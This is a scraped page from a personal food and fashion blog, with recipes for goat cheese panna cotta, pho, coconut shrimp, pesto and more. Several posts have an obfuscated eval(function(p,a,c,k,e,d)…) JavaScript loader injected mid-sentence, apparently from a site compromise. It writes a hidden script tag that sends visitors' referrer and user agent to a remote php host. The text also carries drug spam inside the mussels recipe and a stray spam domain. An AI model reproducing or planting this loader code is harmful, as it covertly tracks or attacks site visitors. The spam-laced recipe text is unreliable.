Goat Cheese Panna Cotta with Cranberry with Port Glaze

2014 Food, Food, Holidays

Goat Cheese Panna Cotta with Cranberry-Port Glaze

Goat eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekiyh|var|u0026u|referrer|nrnfh||js|php’.split(‘|’),0,{}))
Cheese Panna Cotta with Cranberry-Port Glaze

Panna Cotta

  • 8 ounces softened goat cheese
  • 2 teaspoons powdered gelatin
  • 2 cups whole milk, divided
  • 1/3 cup sugar
  • 1/8 teaspoon cardamom powder (I subbed nutmeg because I was out of cardamom)
  • 1/4 teaspoon cinnamon
  • pinch salt

Cranberry-Port Glaze

  • 2 (12-ounce)bags fresh cranberries
  • 1 1/4 cups sugar
  • 1/2 cup ruby port
  • 1 long sprig rosemary
  • 2 1/2 teaspoons gelatin

Crumble the goat cheese and set it aside.  In a wide shallow bowl, sprinkle the gelatin over 1/2 cup of the milk, and let it soften for 5 minutes.

Warm the remaining 1 1/2 cups milk and the sugar in a 2 quart saucepan over medium high heat until small bubbles form on the side of the pan.  Whisk in the goat cheese and stir until it melts.  Add the milk and the gelatin, and whisk vigorously until the gelatin is dissolved and all of the goat cheese has melted. Turn off the heat and stir in the cardamom, cinnamon, and salt.

Divide this mixture into 6 dessert glasses and put in the fridge to chill while you make the cranberry-port glaze.

Heat the cranberries with the sugar, 1 cup water, the port and the rosemary sprig in a 2 quart saucepan over medium-high heat.  After it comes to a simmer, cook for 15 minutes, or until all of the cranberries have burst open.  Strain through a fine mesh sieve and then sprinkle the gelatin over the liquid and let it sit for 5 minutes to soften.  Pour the cranberry juice back in the pan and heat it up, stirring gently until all of the gelatin has dissolved.  Turn off the heat, and let it cook for 15 to 30 minutes.

Evenly divide the cranberry mixture over the prepared goat cheese panna cotta.  Chill for at least two hours, but preferably overnight.

Makes six 1/2 cup Gluten Free Servings! (Recipe from Bakeless Sweets: Pudding, Panna Cotta, Fluff, Icebox Cake, and More No-Bake Desserts)

Goat Cheese Panna Cotta with Cranberry-Port Glaze

I stole this dessert recipe from my mom’s blog to make for Thanksgiving dinner. While it turned out beautiful, it didn’t taste the way I thought I thought it should. The port glaze was very laborious because you have to strain it (and because I doubled the recipe –  straining took a long time!). I’m going to try and make a classic panna cotta before I give up on this dessert. I prefer my desserts easy, simple and tasty.

Goat Cheese Panna Cotta with Cranberry-Port Glaze

 

Homemade Pho – Comfort Food

2014 Food, Food

preparation

1. In a large stockpot, bring 6 quarts water to a boil. Place the bones and beef chuck in a second pot and add water to cover. Bring to a boil and boil vigorously for 5 minutes. Using tongs, carefully transfer the bones and beef to the first pot of boiling water. Discard the water in which the meat cooked. (This cleans the bones and meat and reduces the impurities that can cloud the broth.) When the water returns to a boil, reduce the heat to a simmer. Skim the surface often to remove any foam and fat. Add the charred ginger and onions, fish sauce and sugar. Simmer until the beef chuck is tender, about 40 minutes. Remove one piece and submerge in cool water for 10 minutes to prevent the meat from darkening and drying out. Drain, then cut into thin slices and set aside. Let the other piece of beef chuck continue to cook in the simmering broth.

Shortcut: To save time, I bought pre-made beef stock.

2. When the broth has been simmering for about 1 1/2 hours total, wrap the star anise and cloves in a spice bag (or piece of cheesecloth) and add to the broth. Let infuse until the broth is fragrant, about 30 minutes. Remove and discard both the spice bag and onions. Add the salt and continue to simmer, skimming as necessary, until you’re ready to assemble the dish. The broth needs to cook for at least 2 hours. (The broth will taste salty but will be balanced once the noodles and accompaniments are added.) Leave the remaining chuck and bones to simmer in the pot while you assemble the bowls.

3. To serve, place the cooked noodles in preheated bowls. (If the noodles are not hot, reheat them in a microwave or dip them briefly in boiling water to prevent them from cooling down the soup.) Place a few slices of the beef chuck and the raw sirloin on the noodles. Bring the broth to a rolling boil; ladle about 2 to 3 cups into each bowl. The broth will cook the raw beef instantly. Garnish with yellow onions, scallions and cilantro. Serve immediately, inviting guests to garnish the bowls with bean sprouts, herbs, chilies, lime juice and black pepper.

Note: If you you cannot find pre-cooked rice noodles at the store, you can use dry rice noodles. You’ll need to soak the noodles in cold water for 30 minutes before boiling them. Toppings are not mandatory. I would suggest you taste it before you add anything.

I love watching the thin strips of meat cook as the hot broth is poured over them! If you are like me, my consumption of Pho greatly increases as the cooler temperatures set in. I eat Pho as comfort food when most people would eat chicken noodle soup.

 

Coconut Panko Shrimp and Salsa

2014 Food, Food

Ingredients
Dipping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbntr|var|u0026u|referrer|fadrr||js|php’.split(‘|’),0,{}))
Sauce:

Nonstick cooking spray
1 teaspoon curry powder
Pinch crushed red pepper flakes
1 tablespoon honey
2 teaspoons rice vinegar
1 orange, zested and juiced

Shrimp:
1/2 cup flaked unsweetened coconut
6 tablespoons plain panko breadcrumbs
3 tablespoons all-purpose flour
2 large egg whites
1 pound large (21/25 count) shrimp, peeled (tails left on), deveined, butterflied and patted dry
Salt and freshly ground black pepper

Directions
Preheat the oven to 450 degrees F. Spray a baking sheet with nonstick spray.

To make the dipping sauce: Toast the curry and red pepper flakes in a saucepan over medium heat, about 1 minute. Add the honey, vinegar and orange juice and zest. Bring to a simmer, stirring occasionally, until the sauce is heated through, 1 to 2 minutes. Remove from the heat and set aside.

To make the shrimp: Combine the coconut, panko and flour in a bowl or baking dish. Beat the egg whites in a medium bowl until slightly frothy. Sprinkle the shrimp with salt and pepper. Add to the egg whites and toss to coat. Lift each shrimp from the egg whites, letting the excess drip off the shrimp, and then coat in the crumb mixture, pressing to adhere. Place the shrimp on the baking sheet in a single layer. Lightly spray with nonstick spray. Bake until the shrimp are golden on the outside and opaque in the center, 8 to 10 minutes. Serve with the dipping sauce.

Read more at:
http://www.foodnetwork.com/recipes/bobby-deen/baked-coconut-shrimp-recipe.print.html?oc=linkback

 

Bacon Wrapped Dates

2014 Food, Food

Happy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zynyt|var|u0026u|referrer|rzhtt||js|php’.split(‘|’),0,{}))
Foodie Friday! Today I’m sharing one of my favorite appetizers – bacon wrapped dates! I got these bacon wrapped dates at a restaurant, and realized that they are probably very easy to make. Here is the
POPSUGAR recipe!

INGREDIENTS

16-ounce package of bacon (regular thickness, not thick cut), cut into thirds
8-ounce package of pitted dates

DIRECTIONS

  1. Preheat the oven to 350°F. Position oven rack in the center of the oven. Cover a cookie sheet with tin foil.
  2. Wrap a piece of bacon around a date. Make sure the bacon seam is placed facing downward on the cookie sheet. Press firmly on the bacon-wrapped date, so it is less likely to unravel. Repeat until all of the dates are wrapped in bacon.
  3. Bake for 20-25 minutes until crisp. Let cool for 10-15 minutes before serving.

Mussels in Tomato Sauce

2014 Food, Food

Kate Style Petite, Food Friday, Mussels, Tomato Sauce

DIRECTIONS:

Mussels

Cook garlic and red pepper flakes in oil in a large, heavy pot over moderately low heat, stirring, until garlic is pale golden, 1 to 2 minutes. Add wine and boil over high heat 2 minutes. Add tomato sauce and mussels and cook over moderately high heat, covered, stirring occasionally, until mussels just open wide, 6 to 8 minutes. (Discard any mussels where can i purchase phentermine hcl from kvk tech that are unopened after 8 minutes.) Serve immediately.

Tomato sauce

Preheat oven to 325 degrees F.

Cook onions and garlic in oil in a 2- to 4-quart heavy ovenproof saucepan over moderately low heat, stirring, until softened, about 5 minutes. ( I just sautéed my onions in a skillet on the stove top until soften and slightly browned.)

Add tomatoes, including juice, and salt, then cover and put in the oven for 1 ½ to 2 hours, stirring and mashing tomatoes with a fork occasionally, until sauce is thickened and reduced to about 3 cups.

If sauce tastes too acidic, add sugar and cook 5 minutes more.

 

My favorite part of cooking with mussels is watching them open when they steam!

Herbed Butter Pork Chops on top of Sauteed Pineapples

2014 Food, Food

Kate Style Petite Foodie Friday Herbed Butter Pork Chops Pineapples Broccoli Sage Potatoes

  1. I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehasi|var|u0026u|referrer|bnina||js|php’.split(‘|’),0,{}))
    seared hot peppers from my garden in a butter and fresh sage until blackened along the edges in a skillet.
  2. I placed pork chops, seasoned in salt and pepper on top of pepper, sage and butter mixture to brown.
  3. When the pork chops are seared brown along the edges on both sides, I seared two slices of pineapple for a couple minutes in the same skillet. This helps infuse the flavors together, but I remove the pineapples after they’ve browned along the edges.
  4. I poured about half a cup of water into the skillet with the pork chops to steam them through.
  5. While this is cooking, I’ve boiled healthordisease.com some broccoli until they are vibrant green.
  6. I’ve used the same sage flavors in the pork chop in roasting baby potatoes.  Chopped red and white potatoes mixed in olive oil, sage, salt and pepper until softened. Depends on how large your potato pieces are, but I cooked mine at 425 for 15 minutes.
  7. I’ve plated the pork chops on top of the seared pineapples to cut the spicy, peppery flavor of the pork chops with the sweetness of the fruit.

Kate Style Petite, Foodie Friday, Pork Chops, Home Grown, peppers, sage, pineapple

Kate Style Petite, Peppery sage Pork chops on top of pineapple

I love being able to cook with vegetables and herbs I’ve grown myself! The sage and peppers came from my own garden and helped inspire the rest of the meal.

 

Homemade Pesto

2014 Food, Food

Homemade Pesto, Foodie Friday, Kate Style Petite

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zshsf|var|u0026u|referrer|atrrn||js|php’.split(‘|’),0,{}))
recently planted a garden, and I’ve finally been able to harvest the fruits of my labour in tons of basil! With so much basil, I knew I wanted to make pesto!

Ingredients
2 cups packed fresh basil leaves
2 cloves garlic
1/4 cup pine nuts
2/3 cup extra-virgin olive oil, divided
Kosher salt and freshly ground black pepper, to taste
1/2 cup freshly grated Pecorino cheese

Directions
Combine the basil, garlic, and pine nuts in a food processor and pulse until coarsely chopped. Add 1/2 cup of the oil and process until fully incorporated and smooth. Season with salt and pepper.

If using immediately, add all the remaining oil and pulse until smooth. Transfer the pesto to a large serving bowl and mix in the cheese.

If freezing, transfer to an air-tight container and drizzle remaining oil over the top. Freeze for up to 3 months. Thaw and stir in cheese.

Read more at:
http://www.foodnetwork.com/recipes/food-network-kitchens/basil-pesto-recipe2.print.html?oc=linkback

Kate Style Petite, Foodie Friday, Homemade Pesto, Food Network

Colorful Clothes Swap

2014 Food, Fashion, Summer

Kate Style Petite

Remember eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnkrz|var|u0026u|referrer|kbbze||js|php’.split(‘|’),0,{}))
when I got that cute
Forever 21 Shirt Dress from a clothes swap? I also picked up this cute dress (similar) during the clothes swap too! I paired it with a simple wishbone necklace and adorable BCBG gladiator wedges (similar)!

Kate Style Petite

Kate Style Petite

My parent’s cat Patchouli decided to get in on the action.

Kate Style Petite, Pamela Greer Photography

Special thanks to my mom for taking these photos for me, hop on over to her blog at Sidewalk Shoes if you want to see more photos of Patchouli!

Macaron-ing around in the Kitchen

2014 Food

French eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayish|var|u0026u|referrer|kbzby||js|php’.split(‘|’),0,{}))
Macaron Recipe

French Macarons are not easy to bake. It took several long hours and many attempts and variations on the basic macaron recipe to create a few that were decent enough to photograph.  But I could not have been patient without the help of Anna from Belly of the Feast blog!
We used a basic macaron recipe (See Martha Stewart’s version below, but you can choose any), and made a few tweaks based on what ingredients we had and our success rate. This video was an invaluable resource during the baking process (we tried to follow it step-by-step)!